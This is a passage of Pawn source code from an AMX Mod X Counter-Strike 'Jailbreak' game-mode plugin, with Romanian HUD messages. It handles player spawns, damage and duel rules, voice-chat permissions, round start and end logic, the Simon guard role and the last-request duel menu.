        engfunc(EngFunc_WriteCoord, fOrigin[1]);
        engfunc(EngFunc_WriteCoord, fOrigin[2]);
        write_short(pSprite);
        write_byte(iCount);
        write_byte(iLife); // 0.1's
        write_byte(iScale);
        write_byte(iVelocityAlongVector);
        write_byte(iRandomVelocity);
        message_end();
}

stock CREATE_BREAKMODEL(const Float:fOrigin[3], Float:fSize[3] = {16.0, 16.0, 16.0}, Float:fVelocity[3] = {25.0, 25.0, 25.0}, iRandomVelocity, pModel, iCount, iLife, iFlags)
{
        message_begin(MSG_BROADCAST, SVC_TEMPENTITY);
        write_byte(TE_BREAKMODEL);
        engfunc(EngFunc_WriteCoord, fOrigin[0]);
        engfunc(EngFunc_WriteCoord, fOrigin[1]);
        engfunc(EngFunc_WriteCoord, fOrigin[2] + 24);
        engfunc(EngFunc_WriteCoord, fSize[0]);
        engfunc(EngFunc_WriteCoord, fSize[1]);
        engfunc(EngFunc_WriteCoord, fSize[2]);
        engfunc(EngFunc_WriteCoord, fVelocity[0]);
        engfunc(EngFunc_WriteCoord, fVelocity[1]);
        engfunc(EngFunc_WriteCoord, fVelocity[2]);
        write_byte(iRandomVelocity);
        write_short(pModel);
        write_byte(iCount); // 0.1's
        write_byte(iLife); // 0.1's
        write_byte(iFlags);
        message_end();
}
/*========================================================
                        END DaysMenu
========================================================*/

public player_spawn(id)
{
        static CsTeams:team

        if(!is_user_connected(id))
                return HAM_IGNORED

        set_pdata_float(id, m_fNextHudTextArgsGameTime, get_gametime() + 999999.0)
        player_strip_weapons(id)

        ChekWeaponAmount[id] = 3
        is_freezed[id] = 0
        g_SimonAllowed = 1
        g_BlockWeapons = 0
        g_FreedayNext = 0
        g_isDay = false
        secundeday = 0
        g_GameMode = 0
        g_HNSCount = 0
        PlayDuel = false

        set_user_maxspeed(id, 250.0)
        set_user_noclip(id, 0)
        set_user_godmode(id, 0)
        set_user_gravity(id, 1.0)

        set_cvar_string("jbe_shop", "1");
        set_cvar_string("jbe_camera", "1");
        set_cvar_string("sv_parachute", "1");
        set_cvar_string("jbe_blockweaponmenu", "1");
        set_cvar_string("jb_autojoin", "0");
        set_cvar_string("jb_dayss", "");

        if (get_pcvar_num(cvar_players_aura))
                remove_task(id+TASK_AURA)

        if(g_RoundEnd)
        {
                g_RoundEnd = 0
                jbe_set_day_week(++g_JailDay);
        }

        set_user_rendering(id, kRenderFxNone, 0, 0, 0, kRenderNormal, 0)

        clear_bit(g_PlayerCrowbar, id)
        clear_bit(g_PlayerWanted, id)
        team = cs_get_user_team(id)

        switch(team)
        {
                case(CS_TEAM_T):
                {
                        g_PlayerLast = 0
                        if(!g_PlayerReason[id])
                                g_PlayerReason[id] = random_num(1, 6)

                        player_hudmessage(id, 0, 5.0, {255, 0, 255}, "%L %L", LANG_SERVER, "JBE_PRISONER_REASON",
                                LANG_SERVER, g_Reasons[g_PlayerReason[id]])

                        if(get_user_flags(id) & read_flags(VIP_ACCES))
                                set_user_info(id, "model", "Play_Arena_VipT")
                        else
                        {
                                set_user_info(id, "model", "jb_pa_player")
                                entity_set_int(id, EV_INT_body, 2)
                                entity_set_int(id, EV_INT_skin, random_num(0, 2))
                        }

                        if(is_freeday() || get_bit(g_FreedayAuto, id))
                        {
                                freeday_set(0, id)
                                clear_bit(g_FreedayAuto, id)
                        }
                        else
                                entity_set_int(id, EV_INT_skin, random_num(0, 2))

                        if(g_CrowbarCount < get_pcvar_num(gp_CrowbarMax))
                        {
                                if(random_num(0, g_MaxClients) > (g_MaxClients / 2))
                                {
                                        g_CrowbarCount++
                                        set_bit(g_PlayerCrowbar, id)
                                }
                        }

                        player_strip_weapons(id)
                        cs_set_user_armor(id, 0, CS_ARMOR_NONE)
                }
                case(CS_TEAM_CT):
                {
                        g_PlayerSimon[id]++

                        if(get_user_flags(id) & read_flags(VIP_ACCES))
                                set_user_info(id, "model", "Play_Arena_VipCT")
                        else
                        {
                                set_user_info(id, "model", "jb_pa_player")
                                entity_set_int(id, EV_INT_body, 3)
                        }

                        give_item(id, "weapon_knife")
                        engclient_cmd(id, "weapon_knife")

                        set_pev(id, pev_viewmodel2, v_Bulan)
                        set_pev(id, pev_weaponmodel2, p_Bulan)

                        cs_set_user_armor(id, 100, CS_ARMOR_VESTHELM)
                        fm_give_item(id, "weapon_deagle")
                        cs_set_user_bpammo(id, CSW_DEAGLE, 35)
                }
        }

        user[id] = false
        //first_join(id)

        return HAM_IGNORED
}

public player_damage(victim, ent, attacker, Float:damage, DamageType, bits)
{
        if(get_user_team(attacker) == get_user_team(victim) && bits & DMG_HEGRENADE )
                return HAM_IGNORED

        if(!is_user_connected(attacker) || get_user_weapon(attacker) != CSW_KNIFE)
                return HAM_IGNORED

        if(is_user_connected(attacker) && is_user_connected(victim))
                if(victim == attacker)
                        if(DamageType & DMG_HEGRENADE)
                                return HAM_SUPERCEDE

        switch(g_Duel)
        {
                case(0):
                {
                        if(attacker == ent && get_user_weapon(attacker) == CSW_KNIFE && get_bit(g_PlayerCrowbar, attacker) && cs_get_user_team(victim) != CS_TEAM_T)
                        {
                                SetHamParamFloat(4, damage * gc_CrowbarMul)
                                return HAM_OVERRIDE
                        }
                }
                case(2):
                {
                        if(attacker != g_PlayerLast)
                                return HAM_SUPERCEDE
                }
                default:
                {
                        if((victim == g_PlayerDuelT && attacker == g_PlayerDuelCT) || (victim == g_PlayerDuelCT && attacker == g_PlayerDuelT))
                                return HAM_IGNORED

                        return HAM_SUPERCEDE
                }
        }

        return HAM_IGNORED
}

public player_attack(victim, attacker, Float:damage, Float:direction[3], tracehandle, damagebits)
{
        static CsTeams:vteam, CsTeams:ateam
        if(!is_user_connected(victim) || !is_user_connected(attacker) || victim == attacker)
                return HAM_IGNORED

        vteam = cs_get_user_team(victim)
        ateam = cs_get_user_team(attacker)

        if(ateam == CS_TEAM_CT && vteam == CS_TEAM_CT)
                return HAM_SUPERCEDE

        switch(g_Duel)
        {
                case(0):
                {
                        if(ateam == CS_TEAM_CT && vteam == CS_TEAM_T)
                        {
                                if(get_bit(g_PlayerRevolt, victim))
                                        clear_bit(g_PlayerRevolt, victim)

                                return HAM_IGNORED
                        }
                }
                case(2):
                {
                        if(attacker != g_PlayerLast)
                                return HAM_SUPERCEDE
                }
                default:
                {
                        if((victim == g_PlayerDuelT && attacker == g_PlayerDuelCT) || (victim == g_PlayerDuelCT && attacker == g_PlayerDuelT))
                                return HAM_IGNORED

                        return HAM_SUPERCEDE
                }
        }

        /*if(ateam == CS_TEAM_T && vteam == CS_TEAM_T && g_BoxStarted)
        {
                if(get_knife1(attacker) && get_user_weapon(attacker) == CSW_KNIFE)
                {
                        if(get_user_health(victim) > 30)
                        {
                                static Float:Origin[3]
                                fm_get_aimorigin(attacker, Origin)
                                create_blood(Origin)
                                set_user_health( victim, get_user_health(victim)-30 );
                        }
                        else
                                sw_kill(attacker, victim, 1, "Box" )

                        if(get_pdata_int(victim, 75) == HIT_HEAD)
                        {
                                if(get_user_health(victim) > 15)
                                {
                                        static Float:Origin[3]
                                        fm_get_aimorigin(attacker, Origin)
                                        create_blood(Origin)
                                        set_user_health( victim, get_user_health(victim)-15 );
                                }
                                else
                                        sw_kill(attacker, victim, 1, "Box" )
                        }
                }
                else if(get_knife2(attacker) && get_user_weapon(attacker) == CSW_KNIFE)
                {
                        if(get_user_health(victim) > 60)
                        {
                                static Float:Origin[3]
                                fm_get_aimorigin(attacker, Origin)
                                create_blood(Origin)
                                set_user_health( victim, get_user_health(victim)-60 );
                        }
                        else
                                sw_kill(attacker, victim, 1, "Box" )

                        if(get_pdata_int(victim, 75) == HIT_HEAD)
                        {
                                if(get_user_health(victim) > 15)
                                {
                                        static Float:Origin[3]
                                        fm_get_aimorigin(attacker, Origin)
                                        create_blood(Origin)
                                        set_user_health( victim, get_user_health(victim)-15 );
                                }
                                else
                                        sw_kill(attacker, victim, 1, "Box" )
                        }
                }
                else if(get_knife3(attacker) && get_user_weapon(attacker) == CSW_KNIFE)
                {
                        if(get_user_health(victim) > 80)
                        {
                                static Float:Origin[3]
                                fm_get_aimorigin(attacker, Origin)
                                create_blood(Origin)
                                set_user_health( victim, get_user_health(victim)-80 );
                        }
                        else
                                sw_kill(attacker, victim, 1, "Box" )

                        if(get_pdata_int(victim, 75) == HIT_HEAD)
                        {
                                if(get_user_health(victim) > 15)
                                {
                                        static Float:Origin[3]
                                        fm_get_aimorigin(attacker, Origin)
                                        create_blood(Origin)
                                        set_user_health( victim, get_user_health(victim)-15 );
                                }
                                else
                                        sw_kill(attacker, victim, 1, "Box" )
                        }
                }
                else if(!get_knife1(attacker) && !get_knife2(attacker) && !get_knife3(attacker) && get_user_weapon(attacker) == CSW_KNIFE)
                {
                        if(get_user_health(victim) > 25)
                        {
                                static Float:Origin[3]
                                fm_get_aimorigin(attacker, Origin)
                                create_blood(Origin)
                                set_user_health( victim, get_user_health(victim)-25 );
                        }
                        else
                                sw_kill(attacker, victim, 1, "Box" )

                        if(get_pdata_int(victim, 75) == HIT_HEAD)
                        {
                                if(get_user_health(victim) > 15)
                                {
                                        static Float:Origin[3]
                                        fm_get_aimorigin(attacker, Origin)
                                        create_blood(Origin)
                                        set_user_health( victim, get_user_health(victim)-15 );
                                }
                                else
                                        sw_kill(attacker, victim, 1, "Box" )
                        }
                }
        }*/

        if(ateam == CS_TEAM_T && vteam == CS_TEAM_T && !g_BoxStarted)
                return HAM_SUPERCEDE

        if(ateam == CS_TEAM_T && vteam == CS_TEAM_CT)
        {
                if(!g_PlayerRevolt)
                        revolt_start()

                set_bit(g_PlayerRevolt, attacker)
        }

        return HAM_IGNORED
}

public button_attack(button, id, Float:damage, Float:direction[3], tracehandle, damagebits)
{
        if(is_valid_ent(button) && gc_ButtonShoot)
        {
                ExecuteHamB(Ham_Use, button, id, 0, 2, 1.0)
                entity_set_float(button, EV_FL_frame, 0.0)
        }

        return HAM_IGNORED
}

public player_killed(victim, attacker, shouldgib)
{
        static CsTeams:vteam, CsTeams:kteam
        if(!(0 < attacker <= g_MaxClients) || !is_user_connected(attacker))
                kteam = CS_TEAM_UNASSIGNED
        else
                kteam = cs_get_user_team(attacker)

        vteam = cs_get_user_team(victim)

        if(g_Simon == victim)
        {
                g_Simon = 0
                emit_sound(0, CHAN_AUTO, "jb_pa_sounds/jbkill.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
        }

        if(get_pcvar_num(cvar_players_aura))
                remove_task(victim+TASK_AURA)

        if(cs_get_user_team(victim) == CS_TEAM_T && get_bit(check_bteam, victim))
                check_blueteam--;
        else if(cs_get_user_team(victim) == CS_TEAM_T && get_bit(check_rteam, victim))
                check_redteam--;

        switch(g_Duel)
        {
                case(0):
                {
                        switch(vteam)
                        {
                                case(CS_TEAM_CT):
                                {
                                        if(kteam == CS_TEAM_T && !get_bit(g_PlayerWanted, attacker))
                                        {
                                                set_bit(g_PlayerWanted, attacker)
                                               
                                                if(g_GameMode == 1)
                                                {
                                                        set_bit(g_PlayerWanted, attacker)

                                                        set_user_info(attacker, "model", "jb_pa_zombie")
                                                        entity_set_int(attacker, EV_INT_skin, 1)
                                                        player_glow(attacker, g_Colors[3])
                                                }
                                                else
                                                {
                                                        if(get_user_flags(attacker) & read_flags(VIP_ACCES))
                                                        {
                                                                set_user_info(attacker, "model", "Play_Arena_VipT")
                                                                player_glow(attacker, g_Colors[3])
                                                        }
                                                        else
                                                        {
                                                                set_user_info(attacker, "model", "jb_pa_player")
                                                                entity_set_int(attacker, EV_INT_skin, 4)
                                                        }
                                                }
                                        }
                                }
                                case(CS_TEAM_T):
                                {
                                        clear_bit(g_PlayerRevolt, victim)
                                        clear_bit(g_PlayerWanted, victim)
                                }
                        }
                }
                default:
                {
                        if (vteam == CS_TEAM_T)
                        {
                                if(task_exists(TASK_LAST))
                                        remove_task(TASK_LAST)

                                set_cvar_string("jbe_shop", "0");

                                set_task(2.1, "task_last_duel", TASK_LAST)
                        }

                        if(g_Duel != 2 && (attacker == g_PlayerDuelT || attacker == g_PlayerDuelCT || victim == g_PlayerDuelT || victim == g_PlayerDuelCT))
                        {
                                //set_user_rendering(victim, kRenderFxNone, 0, 0, 0, kRenderNormal, 0)
                                set_user_rendering(attacker, kRenderFxNone, 0, 0, 0, kRenderNormal, 0)
                                duel_end()

                                g_PlayerLast = 0
                                g_Duel = 0
                                team_count()
                        }
                }
        }

        return HAM_IGNORED
}

public player_touchweapon(id, ent)
{
        static model[32], class[32]

        if(g_BlockWeapons)
                return HAM_SUPERCEDE

        if(is_valid_ent(id) && is_user_alive(ent) && cs_get_user_team(ent) != CS_TEAM_CT && cs_get_user_team(ent) != CS_TEAM_T)
        {
                entity_get_string(id, EV_SZ_model, model, charsmax(model))
                if(model[7] == 'w' && model[9] == 'h' && model[10] == 'e' && model[11] == 'g')
                {
                        entity_get_string(id, EV_SZ_classname, class, charsmax(class))

                        if(equal(class, "weapon_hegrenade"))
                                remove_entity(id)

                        return HAM_SUPERCEDE
                }
        }

        return HAM_IGNORED
}

public set_client_kv(id, const info[], const key[])
{
        if(equal(key, "model"))
                return FMRES_SUPERCEDE

        return FMRES_IGNORED
}

public sound_emit(id, channel, sample[])
{
        if(is_user_alive(id) && equal(sample, "weapons/knife_", 14))
        {
                switch(sample[17])
                {
                        case('b'): emit_sound(id, CHAN_WEAPON, "weapons/cbar_hitbod2.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
                        case('w'): emit_sound(id, CHAN_WEAPON, "weapons/cbar_hitbod1.wav", 1.0, ATTN_NORM, 0, PITCH_LOW)
                        case('1', '2'): emit_sound(id, CHAN_WEAPON, "weapons/bullet_hit2.wav", random_float(0.5, 1.0), ATTN_NORM, 0, PITCH_NORM)
                }

                return FMRES_SUPERCEDE
        }

        return FMRES_IGNORED
}

public voice_listening(receiver, sender, bool:listen)
{
        if((receiver == sender))
                return FMRES_IGNORED

        if(!is_user_connected(sender) || !is_user_connected(receiver))
                return FMRES_IGNORED

        if(get_user_flags(sender) & read_flags(VIP_ACCES) || get_user_flags(sender) & read_flags("b"))
        {
                engfunc(EngFunc_SetClientListening, receiver, sender, true)
                return FMRES_SUPERCEDE
        }

        switch(gc_VoiceBlock)
        {
                case(2):
                {
                        if((sender != g_Simon) && (!get_bit(g_SimonVoice, sender) && gc_VoiceBlock))
                        {
                                engfunc(EngFunc_SetClientListening, receiver, sender, false)
                                return FMRES_SUPERCEDE
                        }
                }
                case(1):
                {
                        if(!get_bit(g_SimonVoice, sender) && gc_VoiceBlock)
                        {
                                engfunc(EngFunc_SetClientListening, receiver, sender, false)
                                return FMRES_SUPERCEDE
                        }
                }
        }

        if(!is_user_alive(sender))
        {
                engfunc(EngFunc_SetClientListening, receiver, sender, false)
                return FMRES_SUPERCEDE
        }

        if(sender == g_Simon)
        {
                engfunc(EngFunc_SetClientListening, receiver, sender, true)
                return FMRES_SUPERCEDE
        }

        listen = true

        if(g_SimonTalking && (sender != g_Simon))
                listen = false
        else
        {
                static CsTeams:steam
                steam = cs_get_user_team(sender)

                switch(gc_TalkMode)
                {
                        case(2): listen = (steam == CS_TEAM_CT)
                        case(1): listen = (steam == CS_TEAM_CT || steam == CS_TEAM_T)
                }
        }

        //Player Voice
        if(get_bit(g_PlayerVoice, sender) && is_user_alive(sender))
        {
                engfunc(EngFunc_SetClientListening, receiver, sender, true)
                return FMRES_SUPERCEDE
        }

        engfunc(EngFunc_SetClientListening, receiver, sender, listen)
        return FMRES_SUPERCEDE
}

public round_first()
{
        g_JailDay = 0
        for(new i = 1; i <= g_MaxClients; i++)
                g_PlayerSimon[i] = 0

        set_cvar_num("sv_alltalk", 0)
        set_cvar_num("mp_roundtime", 3)
        set_cvar_num("mp_limitteams", 0)
        set_cvar_num("mp_autoteambalance", 0)

        round_end()
}

public jbe_set_day_week(iWeek)
        g_JailDay = (g_JailDay > 6) ? 1 : iWeek;

public round_start()
{
        if(g_RoundEnd)
                return

        new JailDay[256]

        switch(g_JailDay)
        {
                case 0: formatex(JailDay, charsmax(JailDay), "Luni")
                case 1: formatex(JailDay, charsmax(JailDay), "Luni")
                case 2: formatex(JailDay, charsmax(JailDay), "Marti")
                case 3: formatex(JailDay, charsmax(JailDay), "Miercuri")
                case 4: formatex(JailDay, charsmax(JailDay), "Joi")
                case 5: formatex(JailDay, charsmax(JailDay), "Vineri")
                case 6: formatex(JailDay, charsmax(JailDay), "Sambata")
                case 7: formatex(JailDay, charsmax(JailDay), "Duminica")
        }

        team_count()

        if(!g_Simon && is_freeday())
        {
                g_Freeday = 1
                emit_sound(0, CHAN_AUTO, "jb_pa_sounds/jb_clopotel.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
                check_freeday(TASK_FREEDAY)
        }
        else
                set_task(60.0, "check_freeday", TASK_FREEDAY)

        for(new i = 1; i <= g_MaxClients; i++)
        {
                if(!is_user_connected(i))
                        continue

                set_user_maxspeed(i, 250.0)
                set_user_noclip(i, 0)
                set_user_godmode(i, 0)
                set_user_gravity(i, 1.0)

                remove_task(TASK_FADE)
                user[i] = false

                set_hudmessage(random_num( 1, 255 ), random_num( 1, 255 ), random_num( 1, 255 ), -1.0, 0.71, 2, 6.0, 3.0, 0.1, 1.5);
                show_hudmessage(i, "[ Astazi este %s ]^n[ Trezirea ]", JailDay);
        }

        set_task(120.0, "freeday_end", TASK_FREEDAY)

        g_SimonAllowed = 1
        g_BlockWeapons = 0
        g_FreedayNext = 0
        g_isDay = false
        secundeday = 0
        g_GameMode = 0
        g_HNSCount = 0
        PlayDuel = false
        remove_task(TASK_FADE)

        set_cvar_string("jbe_shop", "1");
        set_cvar_string("jbe_camera", "1");
        set_cvar_string("sv_parachute", "1");
        set_cvar_string("jbe_blockweaponmenu", "1");
        set_cvar_string("jb_autojoin", "0");
        set_cvar_string("jb_dayss", "");

        inround = 0
        if(g_TeamCount[CS_TEAM_T] > 0 && g_TeamCount[CS_TEAM_CT] > 0)
                set_task(1.0, "CnT", TASK_SHOWTEAMMENU_TIMER, _, _, "b")

        new crowbar_ent
        while((crowbar_ent=engfunc(EngFunc_FindEntityByString, crowbar_ent, "classname", gCrowbarClassname)) != 0)
                engfunc(EngFunc_RemoveEntity, crowbar_ent)
}

public round_end()
{
        static CsTeams:team
        static spectrounds

        g_PlayerRevolt = 0
        g_PlayerFreeday = 0
        g_PlayerLast = 0
        g_BoxStarted = 0
        g_Simon = 0
        g_CrowbarCount = 0
        g_SimonAllowed = 0
        g_RoundStarted = 0
        g_LastDenied = 0
        g_BlockWeapons = 0
        g_TeamCount[CS_TEAM_T] = 0
        g_TeamCount[CS_TEAM_CT] = 0
        g_Freeday = 0
        g_FreedayNext = (random_num(0,99) >= 95)
        g_RoundEnd = 1
        g_Duel = 0
        g_PlayerLast = 0
        PlayDuel = false

        //remove_task(TASK_STATUS)
        remove_task(TASK_FREEDAY)
        remove_task(TASK_FREEEND)
        remove_task(TASK_ROUND)

        spectrounds = get_pcvar_num(gp_SpectRounds)

        duel_end()

        for(new i = 1; i <= g_MaxClients; i++)
        {
                if(!is_user_connected(i))
                        continue

                szPlayerCT[i] = false
                szPlayerCaught[i] = false
                szPlayerTime[i] = 0
                g_GameMode = 0
                secundeday = 0

                set_user_maxspeed(i, 250.0)
                set_user_noclip(i, 0)
                set_user_godmode(i, 0)
                set_user_gravity(i, 1.0)

                set_lights("#OFF");

                set_cvar_string("mp_friendlyfire", "0");
                set_cvar_string("jb_autojoin", "0");

                g_isDay = false
                set_cvar_string("jb_dayss", "");

                set_user_hitzones(0, 0, 255)

                nofog()

                if(task_exists(TASK_GANGDAY))
                        remove_task(TASK_GANGDAY);

                clear_bit(check_bteam, i);
                clear_bit(check_rteam, i);
                check_blueteam = 0;
                check_redteam = 0;

                set_cvar_string("jbe_shop", "1");
                set_cvar_string("jbe_camera", "1");
                set_cvar_string("sv_parachute", "1");
                set_cvar_string("jbe_blockweaponmenu", "1");
                set_cvar_string("jb_autojoin", "0");
                set_cvar_string("jb_dayss", "");

                remove_task(TASK_FADE)

                set_task(0.6, "end_fadescreen", TASK_FADE)

                menu_cancel(i)
                team = cs_get_user_team(i)

                player_strip_weapons(i)

                switch(team)
                {
                        case(CS_TEAM_SPECTATOR,CS_TEAM_UNASSIGNED):
                        {
                                g_PlayerSpect[i]++
                                if(g_PlayerSpect[i] > spectrounds)
                                {
                                        client_cmd(i, "disconnect")
                                        server_print("JBE Disconnected spectator client #%i", i)
                                }
                        }
                }
        }

        for(new i = 0; i < sizeof(g_HudSync); i++)
                ClearSyncHud(0, g_HudSync[i][_hudsync])
}

public end_fadescreen()
{
        for(new i = 1; i <= g_MaxClients; i++)
        {
                set_hudmessage(random_num( 1, 255 ), random_num( 1, 255 ), random_num( 1, 255 ), -1.0, 0.71, 2, 6.0, 3.0, 0.1, 1.5);
                show_hudmessage(i, "****^n [ Ziua a luat Sfarsit ]^n [ Toata lumea la Somn ]^n *****");
        }

        message_begin(MSG_BROADCAST, get_user_msgid("ScreenFade"))
        write_short(12288)
        write_short(12288)
        write_short(0x0001)
        write_byte(0)
        write_byte(0)
        write_byte(0)
        write_byte(255)
        message_end()
}

public cmd_voiceon(id)
{
        client_cmd(id, "+voicerecord")
        set_bit(g_SimonVoice, id)
        if(g_Simon == id || is_user_admin(id))
                set_bit(g_SimonTalking, id)

        return PLUGIN_HANDLED
}

public cmd_voiceoff(id)
{
        client_cmd(id, "-voicerecord")
        clear_bit(g_SimonVoice, id)
        if(g_Simon == id || is_user_admin(id))
                clear_bit(g_SimonTalking, id)

        return PLUGIN_HANDLED
}

public cmd_simon(id)
{
        if(!is_user_connected(id))
                return PLUGIN_HANDLED

        static CsTeams:team, name[32]

        team = cs_get_user_team(id)

        if(g_SimonAllowed && !g_Freeday && is_user_alive(id) && team == CS_TEAM_CT && !g_Simon)
        {
                g_Simon = id
                get_user_name(id, name, charsmax(name))
                set_pev(id, pev_body, 1)
                g_PlayerSimon[id]--

                set_user_info(id, "model", "jb_pa_player")
                entity_set_int(id, EV_INT_body, 1)

                ChekWeaponAmount[id] = 3

                client_print( id, print_chat, "*** Acum este simon, da-le comenzi PRIZONIERILOR ! ***");
                cmd_simonmenu(id)
        }

        return PLUGIN_HANDLED
}

public cmd_open(id)
{
        if(id == g_Simon)
        {
                jail_open()

                new name[32]
                get_user_name(g_Simon, name, charsmax(name))
                set_hudmessage(0, 104, 139, -1.0, 0.74, 0, 6.0, 5.0)
                show_hudmessage(0, "%L", 0, "JBE_OPEN_DOOR_SIMON", name)

                emit_sound(0, CHAN_AUTO, "jb_pa_sounds/jb_open.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
        }
        else if(g_Freeday)
        {
                if(is_user_alive(id) && is_user_connected(id))
                {
                        if(get_user_team(id) == 2)
                        {
                                jail_open()

                                new name[32]
                                get_user_name(id, name, 63)
                                set_hudmessage(0, 104, 139, -1.0, 0.74, 0, 6.0, 5.0)
                                show_hudmessage(0, "%L", 0, "JBE_OPEN_DOOR_GUARD", name)

                                emit_sound(0, CHAN_AUTO, "jb_pa_sounds/jb_open.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
                        }
                }
        }

        return PLUGIN_HANDLED
}

public cmd_nomic(id)
{
        static CsTeams:team
        team = cs_get_user_team(id)
        if(team == CS_TEAM_CT)
        {
                server_print("JBE Transfered guard to prisoners team client #%i", id)

                if(g_Simon == id)
                        g_Simon = 0

                if(!is_user_admin(id))
                        set_bit(g_PlayerNomic, id)

                user_silentkill(id)
                cs_set_user_team(id, CS_TEAM_T)
        }
        return PLUGIN_HANDLED
}

public cmd_help(id)
{
        if(id > g_MaxClients)
                id -= TASK_HELP

        remove_task(TASK_HELP + id)
        switch(get_bit(g_PlayerHelp, id))
        {
                case(0):
                {
                        set_bit(g_PlayerHelp, id)
                        player_hudmessage(id, 7, 15.0, {230, 100, 10}, "%s", g_HelpText)
                        set_task(15.0, "cmd_help", TASK_HELP + id)
                }
                default:
                {
                        clear_bit(g_PlayerHelp, id)
                        ClearSyncHud(id, g_HudSync[7][_hudsync])
                }
        }
}

/*======================================================
              End FreedayMenu ---> LAST REQUEST
======================================================*/
public cmd_lastrequest(id)
{
        if(g_isDay)
        {
                player_hudmessage(id, 8, 3.0, {0, 255, 0}, "%L", LANG_SERVER, "JBE_CANT_LR")
                return PLUGIN_HANDLED
        }

        if(g_TeamAlive[CS_TEAM_CT] <= 0)
                return PLUGIN_HANDLED

        if(!is_user_alive(g_PlayerLast))
                task_last_duel()

        if(!get_pcvar_num(gp_LastRequest) || g_LastDenied || g_PlayerLast != id || !is_user_alive(id) || g_Duel || GetPlayersNum( 1, 1 ) == 5)
                return PLUGIN_HANDLED

        new Buffer[512]

        formatex(Buffer, charsmax(Buffer), "%L", id, "DUEL_MENU_NAME")
        new menu = menu_create(Buffer, "lastrequest_select")

        if(!PlayDuel)
                formatex(Buffer, charsmax(Buffer), "%L", id, "DUEL_MENU_MONEY")
        else
                formatex(Buffer, charsmax(Buffer), "\d%L", id, "DUEL_MENU_MONEY")
        menu_additem(menu, Buffer, "1")

        if(!PlayDuel)
                formatex(Buffer, charsmax(Buffer), "%L", id, "DUEL_MENU_FREEDAY")
        else
                formatex(Buffer, charsmax(Buffer), "\d%L", id, "DUEL_MENU_FREEDAY")
        menu_additem(menu, Buffer, "2")

        formatex(Buffer, charsmax(Buffer), "%L", id, "DUEL_MENU_KNIFE")
        menu_additem(menu, Buffer, "3")

        formatex(Buffer, charsmax(Buffer), "%L", id, "DUEL_MENU_DEAGLE")
        menu_additem(menu, Buffer, "4")

        formatex(Buffer, charsmax(Buffer), "%L", id, "DUEL_MENU_GRENADE")
        menu_additem(menu, Buffer, "5")

        formatex(Buffer, charsmax(Buffer), "%L", id, "DUEL_MENU_M249")
        menu_additem(menu, Buffer, "6")

        formatex(Buffer, charsmax(Buffer), "%L", id, "DUEL_MENU_AWP")
        menu_additem(menu, Buffer, "7")

        formatex(Buffer, charsmax(Buffer), "%L", id, "DUEL_MENU_SCOUT")
        menu_additem(menu, Buffer, "8")

        /*formatex(Buffer, charsmax(Buffer), "%L", id, "DUEL_MENU_BAGHETE")
        menu_additem(menu, Buffer, "9")*/

        menu_display(id, menu, 0)
        return PLUGIN_HANDLED
}

public lastrequest_select(id, menu, item)
{
        if(g_isDay)
        {
                player_hudmessage(id, 8, 3.0, {0, 255, 0}, "%L", LANG_SERVER, "JBE_CANT_LR")
                return PLUGIN_HANDLED
        }

        if(item == MENU_EXIT || g_PlayerLast != id || !is_user_alive(id) || g_Duel)
        {
                menu_destroy(menu)
                return PLUGIN_HANDLED
        }

        new dst[32], option[128]

        new data[6], iName[64], access, callback
        menu_item_getinfo(menu, item, access, data, 5, iName, 63, callback)

        get_user_name(id, dst, charsmax(dst))

        new key = str_to_num(data)
        switch(key)
        {
                case 1:
                {
                        if(!PlayDuel)
                        {
                                formatex(option, charsmax(option), "Prizonierul %s a ales sa primeasca^n8000 Dolari", dst)
                                player_hudmessage(0, 6, 3.0, {139, 101, 8}, option)

                                cs_set_user_money(id, 8000)
                                user_kill(id)
                                g_Duel = 0
                        }
                        else
                        {
                                chatcolor(id, "%L", id, "DUEL_ALREDY", DUEL_PREFIX)
                                cmd_lastrequest(id)
                        }
                }
                case 2:
                {
                        if(!PlayDuel)
                        {
                                set_bit(g_FreedayAuto, id)
                                user_silentkill(id)

                                formatex(option, charsmax(option), "Prizonierul %s a ales sa primeasca^nZi Libera", dst)
                                player_hudmessage(0, 6, 3.0, {0, 255, 0}, option)
                                g_Duel = 2
                        }
                        else
                        {
                                chatcolor(id, "%L", id, "DUEL_ALREDY", DUEL_PREFIX)
                                cmd_lastrequest(id)
                        }
                }
                case 3:
                {
                        g_Duel = 3
                        menu_players(id, CS_TEAM_CT, 0, 1, "duel_box", "%L", id, "MENU_DUEL_PLAYERS")
                }
                default:
                {
                        g_Duel = key
                        menu_players(id, CS_TEAM_CT, 0, 1, "duel_arme", "%L", id, "MENU_DUEL_PLAYERS")
                }
        }

        menu_destroy(menu)
        return PLUGIN_HANDLED
}

public duel_box(id, menu, item)
{
        if(g_isDay)
        {
                player_hudmessage(0, 8, 3.0, {0, 255, 0}, "%L", LANG_SERVER, "JBE_CANT_LR")
                return PLUGIN_HANDLED
        }

        if(item == MENU_EXIT || g_PlayerLast != id)
        {
                menu_destroy(menu)
                g_LastDenied = 0
                g_Duel = 0
                return PLUGIN_HANDLED
        }

        new dst[32], data[5], access, callback, option[128], player, src[32]

        menu_item_getinfo(menu, item, access, data, charsmax(data), dst, charsmax(dst), callback)
        get_user_name(id, src, charsmax(src))
        player = str_to_num(data)
        formatex(option, charsmax(option), "%s a ales Duel de Box^nDuel: %s vs %s", src, src, dst)
        player_hudmessage(0, 6, 3.0, {139, 101, 8}, option)

        client_cmd(0, "mp3 play ^"%s^"", game_box)

        if(id > 0 && is_user_connected(id) && is_user_alive(id))
        {
                g_PlayerDuelT = id
                set_user_health(id, 100)
                clear_bit(g_PlayerCrowbar, id)
                strip_user_weapons(id);
                give_item(id, "weapon_knife");
                set_user_noclip(id, 0)
                set_user_godmode(id, 0)
                set_user_gravity(id,1.0)
                set_user_maxspeed(id, 250.0)
                player_glow(id, g_Colors[3])
                jb_strip_user_cold_weapons(id)
        }

        if(player > 0 && is_user_connected(player) && is_user_alive(player))
        {
                g_PlayerDuelCT = player
                strip_user_weapons ( player );
                give_item ( player, "weapon_knife" );
                player_glow(player, g_Colors[2])
                set_user_health(player, 100)
                set_user_maxspeed(player, 250.0)
                set_user_noclip(player, 0)
                set_user_godmode(player, 0)
                set_user_gravity(player,1.0)
                jb_strip_user_cold_weapons(player)
        }

        new crowbar_ent
        while((crowbar_ent=engfunc(EngFunc_FindEntityByString, crowbar_ent, "classname", gCrowbarClassname)) != 0)
